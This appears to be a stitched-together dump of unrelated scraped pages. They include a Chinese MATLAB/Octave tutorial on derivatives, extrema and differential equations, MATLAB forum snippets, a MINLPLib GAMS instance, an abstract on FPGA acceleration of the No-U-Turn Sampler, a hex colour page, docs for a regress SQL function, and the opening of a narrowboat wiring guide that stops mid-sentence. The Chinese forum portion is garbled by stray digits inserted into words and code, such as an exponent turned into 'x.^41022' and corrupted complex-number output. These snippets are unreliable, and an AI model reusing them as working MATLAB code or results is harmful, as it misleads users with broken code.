Cos(3*x^2 + 2*x + 1) differentiate(y,x) y = Exp(x)/Sin(x) differentiate(y,x)\n\nShell\n\n计算高阶导数\n\n要计算函数f的较高导数，可使用diff(f，n)。\n\n计算函数的二阶导数公式为 -", null, "f = x*exp(-3*x);diff(f, 2)\n\nMATLAB\n\nMATLAB执行上面代码将返回以下结果 -\n\nans = 9*x*exp(-3*x) - 6*exp(-3*x)\n\nShell\n\n以下是使用Octave重写上面示例，代码如下 -\n\npkg load symbolic symbols x = sym(\"x\");f = x*Exp(-3*x);differentiate(f, x, 2)\n\nMATLAB\n\n例子\n在这个例子中，要解决一个问题。由给定函数y = f(x)= 3sin(x)+ 7cos(5x)，来找出方程f“+ f = -5cos(2x)是否成立。\n\n创建脚本文件并在其中键入以下代码 -\n\nsyms x y = 3*sin(x)+7*cos(5*x); % defining the functionlhs = diff(y,2)+y; %evaluting the lhs of the equationrhs = -5*cos(2*x); %rhs of the equationif(isequal(lhs,rhs)) disp('Yes, the equation holds true');else disp('No, the equation does not hold true');enddisp('Value of LHS is: '), disp(lhs);\n\nMATLAB\n\n运行文件时，会显示以下结果 -\n\nNo, the equation does not hold true Value of LHS is: -168*cos(5*x)\n\nShell\n\n以上是上面示例的Octave写法 -\n\npkg load symbolic symbols x = sym(\"x\");y = 3*Sin(x)+7*Cos(5*x); % defining the functionlhs = differentiate(y, x, 2) + y; %evaluting the lhs of the equationrhs = -5*Cos(2*x); %rhs of the equationif(lhs == rhs) disp('Yes, the equation holds true');else disp('No, the equation does not hold true');enddisp('Value of LHS is: '), disp(lhs);\n\nMATLAB\n\n查找曲线的最大和最小值\n\n如果正在搜索图形的局部最大值和最小值，基本上是在特定地点的函数图上或符号变量的特定值范围内查找最高点或最低点。\n\n对于函数y = f(x)，图形具有零斜率的图上的点称为固定点。 换句话说，固定点是f'(x)= 0。\n\n要找到微分的函数的固定点，需要将导数设置为零并求解方程。\n\n示例\n\n要找到函数f(x)= 2x3 + 3x2 - 12x + 17的固定点\n\n可参考以下步骤 -\n\n首先输入函数并绘制图，代码如下 -\n\nsyms x y = 2*x^3 + 3*x^2 - 12*x + 17; % defining the functionezplot(y)\n\nMATLAB\n\n执行上面示例代码，得到以下结果 -", null, "以上是上面示例的Octave写法 -\n\npkg load symbolic symbols x = sym('x');y = inline(\"2*x^3 + 3*x^2 - 12*x + 17\");ezplot(y)print -deps graph.eps\n\nMATLAB\n\n我们的目标是在图上找到一些局部最大值和最小值，假设要找到图中间隔在[-2,2]的局部最大值和最小值。参考以下示例代码 -\n\nsyms x y = 2*x^3 + 3*x^2 - 12*x + 17; % defining the functionezplot(y, [-2, 2])\n\nMATLAB\n\n执行上面示例代码，得到以下结果 -", null, "以下是上面示例的Octave写法 -\n\npkg load symbolic symbols x = sym('x');y = inline(\"2*x^3 + 3*x^2 - 12*x + 17\");ezplot(y, [-2, 2])print -deps graph.eps\n\nMATLAB\n\n接下来，需要计算导数。\n\ng = diff(y)\n\nMATLAB\n\nMATLAB执行代码并返回以下结果 -\n\ng = 6*x^2 + 6*x - 12\n\nShell\n\n以下是上面示例的Octave写法 -\n\npkg load symbolic symbols x = sym(\"x\");y = 2*x^3 + 3*x^2 - 12*x + 17;g = differentiate(y,x)\n\nMATLAB\n\n接下来求解导数函数g，得到它变为零的值。\n\ns = solve(g)\n\nMATLAB\n\nMATLAB执行代码并返回以下结果 -\n\ns = 1 -2\n\nShell\n\n以下是上面示例的Octave写法 -\n\npkg load symbolic symbols x = sym(\"x\");y = 2*x^3 + 3*x^2 - 12*x + 17;g = differentiate(y,x)roots([6, 6, -12])\n\nMATLAB\n\n这与我们设想情节一致。 因此，要评估临界点x = 1，-2处的函数f。可以使用subs命令替换符号函数中的值。\n\nsubs(y, 1), subs(y, -2)\n\nMATLAB\n\nMATLAB执行代码并返回以下结果 -\n\nans = 10 ans = 37\n\nShell\n\n以下是上面示例的Octave写法 -\n\npkg load symbolic symbols x = sym(\"x\");y = 2*x^3 + 3*x^2 - 12*x + 17;g = differentiate(y,x)roots([6, 6, -12])subs(y, x, 1), subs(y, x, -2)\n\nMATLAB\n\n因此，在间隔[-2,2]中函数f(x)= 2x^3 + 3x^2 - 12x + 17的最小值和最大值分别为10和37。\n\n求解微分方程\n\nMATLAB提供了用于求解微分方程的dsolve命令。\n\n找到单个方程的解的最基本的dsolve命令形式是 -\n\ndsolve('eqn')\n\nMATLAB\n\n其中eqn是用于输入方程式的文本串。\n\n它返回一个符号解，其中包含一组任意常量，MATLAB标记C1，C2等等。\n还可以为问题指定初始和边界条件，以逗号分隔的列表遵循以下公式：\n\ndsolve('eqn','cond1', 'cond2',…)\n\n为了使用dsolve命令，导数用D表示。例如，像f'(t)= -2 * f + cost(t)这样的等式输入为 -\n\n'Df = -2*f + cos(t)'\n\n较高阶导数由D导数的顺序表示。\n\n例如，方程f\"(x) + 2f'(x) = 5sin3x应输入为 -\n\n'D2y + 2Dy = 5*sin(3*x)'\n\n下面来看一个一阶微分方程的简单例子：y'= 5y。\n\ns = dsolve('Dy = 5*y')\n\nMATLAB执行代码并返回以下结果 -\n\ns = C2*exp(5*t)\n\nShell\n\n再来一个二阶微分方程的例子：y“-y = 0，y(0)= -1，y'(0)= 2。\n\ndsolve('D2y - y = 0','y(0) = -1','Dy(0) = 2')\n\nMATLAB\n\nMATLAB执行代码并返回以下结果 -\n\nans = exp(t)/2 - (3*exp(-t))/2\n\nShell\n\n展开全文", null, "• matlab中函数表达式的写法\n\n千次阅读 2021-04-18 07:11:26\n你好你可以考虑通过legend来输出函数的表达式。这样的话每个函数图像都可以配自己的legend。从而达到将函数表达式输出到对应函数图像的目的。 >> b=5+6j; >> c=a*b c＝ －9．000000000000000＋165338．...\n\n一条命令就可以了f=[1 1 5 3];多项式fvalue=polyval(f,6)%求多项式在x=6处的值www.mh456.com防采集。\n\n用来查找a中小5261于0项的位置。\n\ny=symsum(((yb-ya)*x[i]/(xb-xa)-(xa*yb-xb*ya)/(xb-xa)-y[i])^2,i,1,k)+symsum(((yc-yb)*x[i]/(xc-xb)-(xb*yc-xc*yb)/(xc-xb)-y[i])^2,i,k+1,n)", null, ">> a=[1,-1,-3;2,3,5;2,-2,-4]\n\n像这种有多重括号的长表达式，非常容易出错。建议你把表达式直接放到命令窗口执行试试(u可以随便指定相应维数的向量)，看能否正确计算，应该就能找到问题在哪里了。如果还查不出，请把式子贴", null, "a＝\n\n1－1－3\n\n235\n\n2－2－4\n\n>> b=find(a<0)\n\nlogsig(n)=1/(1+exp(-n)) tansig(n)=1/(arctan(n)+1)", null, "b＝\n\n4\n\n6\n\n7\n\n9\n\n虚数4102\n\n1、很简单zhidao啊. 2、比如我们输出一个函数f=A*sin(x)-B*exp(C*x)这种表达式,A,B,C是你输入的任何参数. (1)你写上如下代码的M文件专 function f=dispf(A,B,C) syms x;f=A*sin(x)-B*exp(C*x);", null, ">> a=3+4j;\n\n你好你可以考虑通过legend来输出函数的表达式。这样的话每个函数图像都可以配自己的legend。从而达到将函数表达式输出到对应函数图像的目的。", null, ">> b=5+6j;\n\n>> c=a*b\n\nc＝\n\n－9．000000000000000＋165338．000000000000000i\n\n>> format long g                   %关闭format long\n\n>> c\n\nc＝\n\n－9＋38i\n\n虚数计算\n\n>> A=[3,4;5,6]+i*[1,2;7,8]\n\nA＝\n\n3＋1i4＋2i\n\n5＋7i6＋8i\n\n>> A=[3,4;5,6]+i*[1,2;7,8];\n\n>> A+10i\n\nans＝\n\n3＋11i4＋12i\n\n5＋17i6＋18i。", null, "扩展资料\n\n注意事项：\n\n1、A［］可以用来表示空矩阵。\n\n2、设A［234；678；012］，则可以用下面方法取出A中的元素：A(1，2)＝3，A(3，3)＝2；\n\n两个数字中第一个是行，第二个是列。\n\n运算符\n\nMATLAB中所用运算符共有三类：\n\n(1)、算术运算符：加减乘除，平方开方\n\n(2)、关系运算符：大于小于等。\n\n(3)、逻辑运算符：与或非。\n\n算术运算符：矩阵相乘与阵列相乘，“／”，“．／”矩阵右除与阵列右除，“＼”，“．＼”矩阵左除与阵列左除。\n\n2．变量的规定与运算\n\n在矩阵表示中，每一行的各元素之间可以用空格或者，来分开。行与行之间用；分开，在矩阵名处加上一个单引号代表转置。凡是以“i”或“j”结尾的变量都视为虚数变量。\n\n正常情况下MATLAB保留四位一下小数，但是如果在前面加上一句formatlong保留更多位。\n\n针对你的倒数第二行2113的问题，是行向量的52612次方同样需要加 一个 \".\"，跟a.*x的概念一样。\n\nx=[2005 2006 2007 2008 2009 2010 2011 2012 2013 2014];\n\ny=[827.75 871.1 912.37 954.28 995.01 1037.2 1046.74 1054.74 1062.89 1077.89];\n\np=polyfit(x,y,2);\n\na=p(1);\n\nb=p(2);\n\nc=p(3);\n\nyy=a.*x.^41022+b.*x.^1+c;\n\nplot(x,y,'r*',x,yy,'b');\n\n在计算过程1653中还有一个关于系数的问题，我认为你的x向量是年代的含义，并不具有数字的含义，在这种情况下得到的系数 会差别很大，比如本例c=-1.2249e+07。所以如果用x=linspace(1,10,10);来替代，则计算过程中不会有错误提示，另外，系数a ,b c也相对合理。\n\n下图是计算结果：", null, "追问恩，但是横坐标不是年份放在论文里不好说啊，我可以x=linspace(2005,1,2014);么？本回答被提问者采纳\n\nx是数组，就算符号要带，a是个单参可以不带点追问", null, "我是按照之前的笔记改的。", null, "内容来自www.mh456.com请勿采集。\n\n展开全文", null, "• 符号表达式 函数句柄反过来方法更简单，因为我们这时只需要调用MATLAB自带函数 matlabFunction() 即可完成转换，接着上面的内容 ，继续输入：>> 执行可得F 这咋一看得到的函数句柄 F 跟我们之前写的 f 还不太...", null, "函数句柄", null, "符号表达式\n\n输入下述语句：\n\n>>\n\n回车执行即得符号表达式\n\ny\n\n还可以通过MATLAB工作区查看:", null, "此时 y 的类型为 符号类型(sym).\n\n符号表达式", null, "函数句柄\n\n反过来方法更简单，因为我们这时只需要调用MATLAB自带函数 matlabFunction() 即可完成转换，接着上面的内容 ，继续输入：\n\n>>\n\n执行可得\n\nF\n\n这咋一看得到的函数句柄 F 跟我们之前写的 f 还不太像，不过仔细一看发现意义是一样的，只是写法上的区别。我们可以输入下列语句验证发现二者确实一样：\n\n>>\n展开全文", null, "• 利用matlab处理完数据之后，得到了对应的表达式，现在想把表达式输出出来怎么办呢，一条简单的语句： sprintf('y1=%.3f*sin(2*pi*%d*time)',is,f1) 跟C很像哈。", null, "matlab\n• 举例说明了各种matlab输入输出函数的使用方法", null, "matlab\n• 问题：想拟合一个曲面并输出它的函数表达式。开始用的sftool的多项式拟合，但只能拟合到5阶，结果不够精确，误差较大。想编程拟合，又不知用哪个命令，求指点，能举个小李子最好，我可以模仿。先谢过了！p.s. 数据...\n• https://blog.csdn.net/qq_34995963/article/details/90340447", null, "matlab学习笔记 输出格式\n• 输出数值、字符串、矩阵 2、fprintf函数 语法格式 fprintf(format,data) 其中数据类型格式有： 数据类型 程序格式 代表意思 整型，有符号数 %d 10进制 整型，无符号数 ...\n• 一、创建策略和价值函数表达式(Policy and Value Function)：1、函数近似器(Function Approximation)2、Table Representations① 使用 rlTable创建 value table 或者 Q table ② 用 rlRepresentation为表格创建一个...\n• matlab中的输出显示函数\n\n千次阅读 2019-11-30 10:17:20\nmatlab中的输出显示函数matlab中使用的显示函数有disp、sprintf、fprintf比较常用。下面来介绍一下他们的用法。 1、disp()函数： disp(x)主要是用来输出变量x的值，也可以输出字符串。示例： 输出字符串： 输出...\n• 使用griddata函数，可进行三维拟合，并求出任意点处的值，之前用过求电流温度和电阻率的函数拟合如下rq=griddata(i,t,r,iq,tq) 。具体过程如下：D=[[1,6,9.2];[4,12,1.5];[7,4,2.3];[10,10,2.5];[13,2,11];[16,8,9];...\n• %功能：本程序为多项式拟合，输出多项式表达式并求值 %说明：x,y为插值节点和节点上的函数值，n是多项式最高项次数，xx是所求函数值的x值 %说明：x,y,xx都可以是向量，n是数字 %实例：在命令行键入：Polyfit_Valve(...", null, "MATLAB 多项式拟合\n• Matlab指定拟合表达式的拟合\n\n千次阅读 2021-01-07 22:04:27\nMatlab的simplify函数化简符号表达式 此处只讨论用法，函数分析日后补充 用法：对一个符号式子同类项的系数进行合并同时按照幂次从高到底进行排列。必须得是一个符号式子，否则没有意义 如下代码： ...", null, "matlab\n• 包含MATLAB的所有基本输入输出函数，对初学者有很大的提高。可以实现MATLAB的文件输出...", null, "MATLAB", null, "c++ 开发语言\n• 我现在已经算出插值函数表达式，但画出来的话，我的笨办法是把表达式复制，再plot(x,y)，但是这个表达式真的很长，而且还要先改成点乘，这样一道题我就得修改一遍程序，如何能改成直接调用已经在程序里算出的函数...\n• 实验一 MATLAB 系统的传递函数和状态空间表达式的转换一、实验目的1、学习多变量系统状态空间表达式的建立方法；2、通过编程、上机调试，掌握多变量系统状态空间表达式与传递函数之间相互转换的方法；3、掌握相应的...\n• ^根据给定的数来据，我们可以假自定函数表达式为baiy=b1+b2*x+b3*x^du2+b4*x^3+b5*x^4;所以上述函zhi数可以用matlab的regress()多元线性dao回归分析函数来拟合。实现过程如下：A=[1.75,0.26;2.25,0.32;2.5,0.44;2....\n• 标题输入：input()1. 输入单个数值2. 输入字符串3.... fprintf()(1)输出格式化的单个数值(2)输出格式化的一维数组(3)输出格式化的矩阵(4)输出格式化的字符串由于 MATLAB不使用 stdin 和 stdout，而是使用...\n• matlab状态空间表达式\n\n千次阅读 2021-04-19 05:25:10\n实验八MATLAB状态空间分析_信息... G=tf(sys) sys=ss(G) 状态空间表达式向传递函数形式的转换 G=tf(sys......实验四用MATLAB求解状态空间模型_自我管理与提升_求职/职场_实用文档。实验四 用 MATLAB 求解状态空间模...\n• matlab基本数学表达式\n\n千次阅读 2020-03-19 15:19:48\n在很多时候，我们并不需要 MATLAB 输出结果。要这样做，只需要在表达式后面加上分号; who命令展示所有变量 whos命令告诉我们当前内存中的变量，类型，每个变量所分配的内存空间，以及它们是否是复数 clear清除所有...\n• 前言源代码数据预处理分析1 相关性分析2 聚类分析3 随机获取训练数据和预测数据集4 对数据进行归一化BP神经网络1 BP神经网络结构本例2 神经网络训练后权值和阈值查看3 神经网络训练完输出与输入关系式0 前言训练数据...\n• x=[1:1:10]; y=[2:2:20]; pp=interp1(x,y,'spline','pp') breaks=pp.breaks ...让我们看一下其breaks分量和coefs分量,他们蕴含着函数表达式 ，具体涵义如下： 假设co", null, "matlab c\n• matlab的基本用法---常用的输入输出函数\n\n万次阅读 多人点赞 2018-10-30 21:20:41\nmatlab中print,fprintf,fscanf,disp,input函数的用法 1. print print函数用于将作出的函数图像保存成指定格式的图片，紧跟在函数图像后面，参数用来指定保存的格式和保存后图片的名称，一般情况下保存的位置为当前...", null, "自学\n• 1 内容有一个两输入两输出线性系统，求该系统的传递函数表达式子。2 求解2.1 相关函数状态空间表达式的传递函数用ss2tf函数来求解函数原型[b,a]=ss2tf(A,B,C,D,iu)功能将状态空间表达式转换成传递函数的形式参数含义...\n• subs() 是MATLAB提供的一个函数，用于在包含变量的表达式中给变量赋值并求表达式的值。 “Symbolic substitution” Description: subs(s,old,new) returns a copy of s, replacing all occurrences of old ...", null, "MATLAB", null, "", null, "...\n\nmatlab输出函数表达式", null, "matlab 订阅" ]

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[ "# MINLPLib\n\n### A Library of Mixed-Integer and Continuous Nonlinear Programming Instances\n\n#### Instance ex7_2_4\n\n Formatsⓘ ams gms mod nl osil py Primal Bounds (infeas ≤ 1e-08)ⓘ 3.91801023 p1 ( gdx sol ) (infeas: 3e-10) Other points (infeas > 1e-08)ⓘ Dual Boundsⓘ 3.91800892 (ANTIGONE)3.91800659 (BARON)3.91801023 (COUENNE)3.91800957 (LINDO)3.91800609 (SCIP) Referencesⓘ Floudas, C A, Pardalos, Panos M, Adjiman, C S, Esposito, W R, Gumus, Zeynep H, Harding, S T, Klepeis, John L, Meyer, Clifford A, and Schweiger, C A, Handbook of Test Problems in Local and Global Optimization, Kluwer Academic Publishers, 1999.Dembo, R S, A Set of Geometric Programming Test Problems and Their Solutions, Mathematical Programming, 10:1, 1976, 192-213. Sourceⓘ Test Problem ex7.2.4 of Chapter 7 of Floudas e.a. handbook Added to libraryⓘ 31 Jul 2001 Problem typeⓘ NLP #Variablesⓘ 8 #Binary Variablesⓘ 0 #Integer Variablesⓘ 0 #Nonlinear Variablesⓘ 8 #Nonlinear Binary Variablesⓘ 0 #Nonlinear Integer Variablesⓘ 0 Objective Senseⓘ min Objective typeⓘ signomial Objective curvatureⓘ indefinite #Nonzeros in Objectiveⓘ 4 #Nonlinear Nonzeros in Objectiveⓘ 4 #Constraintsⓘ 4 #Linear Constraintsⓘ 0 #Quadratic Constraintsⓘ 2 #Polynomial Constraintsⓘ 0 #Signomial Constraintsⓘ 2 #General Nonlinear Constraintsⓘ 0 Operands in Gen. Nonlin. Functionsⓘ Constraints curvatureⓘ indefinite #Nonzeros in Jacobianⓘ 13 #Nonlinear Nonzeros in Jacobianⓘ 10 #Nonzeros in (Upper-Left) Hessian of Lagrangianⓘ 24 #Nonzeros in Diagonal of Hessian of Lagrangianⓘ 8 #Blocks in Hessian of Lagrangianⓘ 2 Minimal blocksize in Hessian of Lagrangianⓘ 4 Maximal blocksize in Hessian of Lagrangianⓘ 4 Average blocksize in Hessian of Lagrangianⓘ 4.0 #Semicontinuitiesⓘ 0 #Nonlinear Semicontinuitiesⓘ 0 #SOS type 1ⓘ 0 #SOS type 2ⓘ 0 Minimal coefficientⓘ 5.8800e-02 Maximal coefficientⓘ 4.0000e+00 Infeasibility of initial pointⓘ 105.7 Sparsity Jacobianⓘ", null, "Sparsity Hessian of Lagrangianⓘ", null, "```\\$offlisting\n*\n* Equation counts\n* Total E G L N X C B\n* 5 1 0 4 0 0 0 0\n*\n* Variable counts\n* x b i s1s s2s sc si\n* Total cont binary integer sos1 sos2 scont sint\n* 9 9 0 0 0 0 0 0\n* FX 0\n*\n* Nonzero counts\n* Total const NL DLL\n* 18 4 14 0\n*\n* Solve m using NLP minimizing objvar;\n\nVariables x1,x2,x3,x4,x5,x6,x7,x8,objvar;\n\nEquations e1,e2,e3,e4,e5;\n\ne1.. -(0.4*x1**0.67/x7**0.67 + 0.4*x2**0.67/x8**0.67 - x1 - x2) + objvar =E= 10\n;\n\ne2.. 0.0588*x5*x7 + 0.1*x1 =L= 1;\n\ne3.. 0.0588*x6*x8 + 0.1*x1 + 0.1*x2 =L= 1;\n\ne4.. 4*x3/x5 + 2/(x3**0.71*x5) + 0.0588*x7/x3**1.3 =L= 1;\n\ne5.. 4*x4/x6 + 2/(x4**0.71*x6) + 0.0588*x4**1.3*x8 =L= 1;\n\n* set non-default bounds\nx1.lo = 0.1; x1.up = 10;\nx2.lo = 0.1; x2.up = 10;\nx3.lo = 0.1; x3.up = 10;\nx4.lo = 0.1; x4.up = 10;\nx5.lo = 0.1; x5.up = 10;\nx6.lo = 0.1; x6.up = 10;\nx7.lo = 0.1; x7.up = 10;\nx8.lo = 0.1; x8.up = 10;\n\nModel m / all /;\n\nm.limrow=0; m.limcol=0;\nm.tolproj=0.0;\n\n\\$if NOT '%gams.u1%' == '' \\$include '%gams.u1%'\n\n\\$if not set NLP \\$set NLP NLP\nSolve m using %NLP% minimizing objvar;\n\n```\n\nLast updated: 2023-08-16 Git hash: 2519540e" ]

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[ "This content will become publicly available on July 7, 2022\n\nAlgorithm and Hardware Co-Design for FPGA Acceleration of Hamiltonian Monte Carlo Based No-U-Turn Sampler\nMonte Carlo (MC) methods are widely used in many research areas such as physical simulation, statistical analysis, and machine learning. Application of MC methods requires drawing fast mixing samples from a given probability distribution. Among existing sampling methods, the Hamiltonian Monte Carlo (HMC) utilizes gradient information during Hamiltonian simulation and can produce fast mixing samples at the highest efficiency. However, without carefully chosen simulation parameters for a specific problem, HMC generally suffers from simulation locality and computation waste. As a result, the No-U-Turn Sampler (NUTS) has been proposed to automatically tune these parameters during simulation and is the current state-of-the-art sampling algorithm. However, application of NUTS requires frequent gradient calculation of a given distribution and high-volume vector processing, especially for large-scale problems, leading to drawing an expensively large number of samples and a desire of hardware acceleration. While some hardware acceleration works have been proposed for traditional Markov Chain Monte Carlo (MCMC) and HMC methods, there is no existing work targeting hardware acceleration of the NUTS algorithm. In this paper, we present the first NUTS accelerator on FPGA while addressing the high complexity of this state-of-the-art algorithm. Our hardware and algorithm co-optimizations include an incremental resampling technique which leads to more »\nAuthors:\n;\nAward ID(s):\nPublication Date:\nNSF-PAR ID:\n10250144\nJournal Name:\nThe 32nd IEEE International Conference on Application-specific Systems, Architectures and Processors\n1. We propose a fast stochastic Hamilton Monte Carlo (HMC) method, for sampling from a smooth and strongly log-concave distribution. At the core of our proposed method is a variance reduction technique inspired by the recent advance in stochastic optimization. We show that, to achieve $\\epsilon$ accuracy in 2-Wasserstein distance, our algorithm achieves $\\tilde O\\big(n+\\kappa^{2}d^{1/2}/\\epsilon+\\kappa^{4/3}d^{1/3}n^{2/3}/\\epsilon^{2/3}%\\wedge\\frac{\\kappa^2L^{-2}d\\sigma^2}{\\epsilon^2} \\big)$ gradient complexity (i.e., number of component gradient evaluations), which outperforms the state-of-the-art HMC and stochastic gradient HMC methods in a wide regime. We also extend our algorithm for sampling from smooth and general log-concave distributions, and prove the corresponding gradient complexity as well. Experiments onmore »" ]

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[ "# #213215 Color Information\n\nIn a RGB color space, hex #213215 is composed of 12.9% red, 19.6% green and 8.2% blue. Whereas in a CMYK color space, it is composed of 34% cyan, 0% magenta, 58% yellow and 80.4% black. It has a hue angle of 95.2 degrees, a saturation of 40.8% and a lightness of 13.9%. #213215 color hex could be obtained by blending #42642a with #000000. Closest websafe color is: #333300.\n\n• R 13\n• G 20\n• B 8\nRGB color chart\n• C 34\n• M 0\n• Y 58\n• K 80\nCMYK color chart\n\n#213215 color description : Very dark (mostly black) green.\n\n# #213215 Color Conversion\n\nThe hexadecimal color #213215 has RGB values of R:33, G:50, B:21 and CMYK values of C:0.34, M:0, Y:0.58, K:0.8. Its decimal value is 2175509.\n\nHex triplet RGB Decimal 213215 `#213215` 33, 50, 21 `rgb(33,50,21)` 12.9, 19.6, 8.2 `rgb(12.9%,19.6%,8.2%)` 34, 0, 58, 80 95.2°, 40.8, 13.9 `hsl(95.2,40.8%,13.9%)` 95.2°, 58, 19.6 333300 `#333300`\nCIE-LAB 18.621, -13.457, 16.166 1.903, 2.659, 1.122 0.335, 0.468, 2.659 18.621, 21.034, 129.776 18.621, -7.077, 14.919 16.305, -7.7, 7.333 00100001, 00110010, 00010101\n\n# Color Schemes with #213215\n\n• #213215\n``#213215` `rgb(33,50,21)``\n• #261532\n``#261532` `rgb(38,21,50)``\nComplementary Color\n• #303215\n``#303215` `rgb(48,50,21)``\n• #213215\n``#213215` `rgb(33,50,21)``\n• #153218\n``#153218` `rgb(21,50,24)``\nAnalogous Color\n• #321530\n``#321530` `rgb(50,21,48)``\n• #213215\n``#213215` `rgb(33,50,21)``\n• #181532\n``#181532` `rgb(24,21,50)``\nSplit Complementary Color\n• #321521\n``#321521` `rgb(50,21,33)``\n• #213215\n``#213215` `rgb(33,50,21)``\n• #152132\n``#152132` `rgb(21,33,50)``\n• #322615\n``#322615` `rgb(50,38,21)``\n• #213215\n``#213215` `rgb(33,50,21)``\n• #152132\n``#152132` `rgb(21,33,50)``\n• #261532\n``#261532` `rgb(38,21,50)``\n• #000000\n``#000000` `rgb(0,0,0)``\n• #090e06\n``#090e06` `rgb(9,14,6)``\n• #15200d\n``#15200d` `rgb(21,32,13)``\n• #213215\n``#213215` `rgb(33,50,21)``\n• #2d441d\n``#2d441d` `rgb(45,68,29)``\n• #395624\n``#395624` `rgb(57,86,36)``\n• #45682c\n``#45682c` `rgb(69,104,44)``\nMonochromatic Color\n\n# Alternatives to #213215\n\nBelow, you can see some colors close to #213215. Having a set of related colors can be useful if you need an inspirational alternative to your original color choice.\n\n• #283215\n``#283215` `rgb(40,50,21)``\n• #263215\n``#263215` `rgb(38,50,21)``\n• #233215\n``#233215` `rgb(35,50,21)``\n• #213215\n``#213215` `rgb(33,50,21)``\n• #1f3215\n``#1f3215` `rgb(31,50,21)``\n• #1c3215\n``#1c3215` `rgb(28,50,21)``\n• #1a3215\n``#1a3215` `rgb(26,50,21)``\nSimilar Colors\n\n# #213215 Preview\n\nThis text has a font color of #213215.\n\n``<span style=\"color:#213215;\">Text here</span>``\n#213215 background color\n\nThis paragraph has a background color of #213215.\n\n``<p style=\"background-color:#213215;\">Content here</p>``\n#213215 border color\n\nThis element has a border color of #213215.\n\n``<div style=\"border:1px solid #213215;\">Content here</div>``\nCSS codes\n``.text {color:#213215;}``\n``.background {background-color:#213215;}``\n``.border {border:1px solid #213215;}``\n\n# Shades and Tints of #213215\n\nA shade is achieved by adding black to any pure hue, while a tint is created by mixing white to any pure color. In this example, #060904 is the darkest color, while #fbfdfa is the lightest one.\n\n• #060904\n``#060904` `rgb(6,9,4)``\n• #0f1609\n``#0f1609` `rgb(15,22,9)``\n• #18240f\n``#18240f` `rgb(24,36,15)``\n• #213215\n``#213215` `rgb(33,50,21)``\n• #2a401b\n``#2a401b` `rgb(42,64,27)``\n• #334e21\n``#334e21` `rgb(51,78,33)``\n• #3c5b26\n``#3c5b26` `rgb(60,91,38)``\n• #45692c\n``#45692c` `rgb(69,105,44)``\n• #4f7732\n``#4f7732` `rgb(79,119,50)``\n• #588538\n``#588538` `rgb(88,133,56)``\n• #61933e\n``#61933e` `rgb(97,147,62)``\n• #6aa143\n``#6aa143` `rgb(106,161,67)``\n• #73ae49\n``#73ae49` `rgb(115,174,73)``\n• #7db754\n``#7db754` `rgb(125,183,84)``\n• #88bd62\n``#88bd62` `rgb(136,189,98)``\n• #92c370\n``#92c370` `rgb(146,195,112)``\n• #9dc97d\n``#9dc97d` `rgb(157,201,125)``\n• #a7ce8b\n``#a7ce8b` `rgb(167,206,139)``\n• #b2d499\n``#b2d499` `rgb(178,212,153)``\n• #bcdaa7\n``#bcdaa7` `rgb(188,218,167)``\n• #c7e0b5\n``#c7e0b5` `rgb(199,224,181)``\n• #d1e6c2\n``#d1e6c2` `rgb(209,230,194)``\n• #dcebd0\n``#dcebd0` `rgb(220,235,208)``\n• #e6f1de\n``#e6f1de` `rgb(230,241,222)``\n• #f1f7ec\n``#f1f7ec` `rgb(241,247,236)``\n• #fbfdfa\n``#fbfdfa` `rgb(251,253,250)``\nTint Color Variation\n\n# Tones of #213215\n\nA tone is produced by adding gray to any pure hue. In this case, #232423 is the less saturated color, while #1e4502 is the most saturated one.\n\n• #232423\n``#232423` `rgb(35,36,35)``\n• #232720\n``#232720` `rgb(35,39,32)``\n• #222a1d\n``#222a1d` `rgb(34,42,29)``\n• #222d1a\n``#222d1a` `rgb(34,45,26)``\n• #212f18\n``#212f18` `rgb(33,47,24)``\n• #213215\n``#213215` `rgb(33,50,21)``\n• #213512\n``#213512` `rgb(33,53,18)``\n• #203710\n``#203710` `rgb(32,55,16)``\n• #203a0d\n``#203a0d` `rgb(32,58,13)``\n• #1f3d0a\n``#1f3d0a` `rgb(31,61,10)``\n• #1f4007\n``#1f4007` `rgb(31,64,7)``\n• #1e4205\n``#1e4205` `rgb(30,66,5)``\n• #1e4502\n``#1e4502` `rgb(30,69,2)``\nTone Color Variation\n\n# Color Blindness Simulator\n\nBelow, you can see how #213215 is perceived by people affected by a color vision deficiency. This can be useful if you need to ensure your color combinations are accessible to color-blind users.\n\nMonochromacy\n• Achromatopsia 0.005% of the population\n• Atypical Achromatopsia 0.001% of the population\nDichromacy\n• Protanopia 1% of men\n• Deuteranopia 1% of men\n• Tritanopia 0.001% of the population\nTrichromacy\n• Protanomaly 1% of men, 0.01% of women\n• Deuteranomaly 6% of men, 0.4% of women\n• Tritanomaly 0.01% of the population" ]

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[ "# Regression Diagnostics (regress)\n\nThe `regress` function computes diagnostics for bi-variate linear regression. The `regress` function takes three parameters:\n\n1. The numeric field of the independent variable (x).\n\n2. The numeric field of the dependent variable (y).\n\n3. The sample size of the regression.\n\n## Sample syntax\n\n``````select regress(petal_length_d, sepal_length_d, 150) as regress_sig,\nregress_rsquared,\nregress_r,\nregress_slope\nfrom iris``````\n\n## Result set\n\nThe result set for the `regress` function has one record that contains the selected regression diagnostics. The `regress` function returns the statistical significance of the regression analysis. The following regression diagnostics can be selected as well:\n\n• `regress_slope` (slope)\n\n• `regress_intercept` (y-intercept)\n\n• `regress_rsquared` (R Squared)\n\n• `regress_r` (correlation coefficient)\n\n• `regress_mse` (mean square error)\n\n• `regess_sse` (sum square error)\n\n• `regress_ssr` (sum square due to regression)\n\n• `regress_ssto` (total sum of squares)\n\nSample `regress` result in Apache Zeppelin", null, "## Visualization\n\nSample visualization of the `regress` function using Apache Zeppelin’s Number visualization.", null, "" ]

[ null, "https://doc.lucidworks.com/assets/images/5.2/udf/regress1.png", null, "https://doc.lucidworks.com/assets/images/5.2/udf/regress2.png", null ]

[ "# how to wire a narrowboat - part 2\n\n### calculating volt-drop and cable selection\n\nNow the next thing to do is calculate the Volt-drop for each route through each light.\n\nIn the first edition I did not pay sufficient attention to calculating volt-drop and cable selection. So I am going to start from the basic drawing, labelled with measurements of various cables. For this first example I am going to use the rear deck lights circuit.", null, "The first thing is that for running electrical cables for anything around the boat we should use nothing smaller that 1.5mmsq. This is because this is the minimum size that will stand up to the stresses of being strung around a boat that vibrates.\n\nWe need to aim for as near as we can for a volt-drop from the batteries to the items on the end of the cables of less than 5%. It is relatively easy to get the volt-drop from the battery to the Fuse-board down into the area of 2%, and the volt-drop from the fuse-board to the items down to less than 3%.\n\nFirst we need to calculate the volt-drop for the circuit against the various cable sizes we could use. We need three pieces of information to calculate the volt-drop\n\nThe voltage of the system; it is 12V for this particular boat.\n\nThe second is the current the amps (A). In this case we have two lights each with a rating of 3 Watts (3W x 2 = 6W). But we need to know the current, the amps (A) – 